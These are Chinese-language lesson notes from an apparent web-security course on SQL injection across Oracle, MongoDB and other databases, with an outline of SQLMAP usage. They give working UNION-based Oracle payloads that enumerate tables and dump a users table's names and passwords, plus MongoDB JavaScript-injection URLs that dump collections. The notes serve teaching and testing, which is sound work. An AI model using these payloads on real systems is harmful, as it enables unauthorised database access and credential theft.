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#知识点： 

1、数据库注入-Oracle&Mongodb 

2、数据库注入-DB2&SQLite&Sybase 

3、SQL 注入神器-SQLMAP 安装使用拓展 

 

#SQLMAP 

-什么是 SQLMAP？ 

-它支持那些数据库注入？ 

-它支持那些 SQL 注入模式？ 

-它支持那些其他不一样功能？ 

-使用 SQLMAP 一般注入流程分析？ 

 

#SQL 注入课程体系： 

1.数据库注入    - access mysql mssql oracle mongodb postgresql 等 

2.数据类型注入 - 数字型 字符型 搜索型 加密型(base64 json)等 

3.提交方式注入 - get post cookie http 头等  

4.查询方式注入 - 查询 增加 删除 更新 堆叠等 

5.复杂注入利用 - 二次注入 dnslog 注入 绕过 bypass 等 



 



演示案例： 

 数据库注入-联合猜解-Oracle&Mongodb 

 数据库注入-SQLMAP-DB2&SQLite&Sybase 

 数据库注入-SQLMAP-数据猜解&高权限读写执行 



 

#Oracle 

参考：https://www.cnblogs.com/peterpan0707007/p/8242119.html 

测回显：and 1=2 union select '1','2' from dual 

爆库：and 1=2 union select '1',(select table_name from user_tables 

where rownum=1) from dual 

模糊爆库：and 1=2 union select '1',(select table_name from 

user_tables where rownum=1 and table_name like '%user%') from 

dual 

爆列名：and 1=2 union select '1',(select column_name from 

all_tab_columns where rownum=1 and table_name='sns_users') from 

dual 

爆其他列名：and 1=2 union select '1',(select column_name from 

all_tab_columns where rownum=1 and table_name='sns_users' and 

column_name not in ('USER_NAME')) from dual 

爆数据：and 1=2 union select user_name,user_pwd from "sns_users" 

爆其他数据：and 1=2 union select user_name,user_pwd from 

"sns_users" where USER_NAME<>'hu' 

 

#Mongodb 看代码 

参考：https://www.runoob.com/mongodb/mongodb-query.html 

测回显：/new_list.php?id=1'}); return ({title:1,content:'2 

爆库：  /new_list.php?id=1'}); return 

({title:tojson(db),content:'1 

爆表： /new_list.php?id=1'}); return 

({title:tojson(db.getCollectionNames()),content:'1   

爆字段：/new_list.php?id=1'}); return 

({title:tojson(db.Authority_confidential.find()[0]),content:'1 

db.getCollectionNames()返回的是数组，需要用 tojson 转换为字符串。 

db.Authority_confidential 是当前用的集合（表），find 函数用于查询，0 是第

一条数据 

 

#SQLMAP 使用 

1、判断数据库注入点 

2、判断注入点权限 

-sqlmap 数据库注入数据猜解 

-sqlmap 高权限注入读写执行 

-sqlmao 高权限注入联动 MSF 

 

#SQLMAP 使用参数： 

参考：https://www.cnblogs.com/bmjoker/p/9326258.html 



 

涉及资源： 

补充：涉及录像课件资源软件包资料等下载地址 

https://docs.qq.com/doc/DQ3Z6RkNpaUtMcEFr

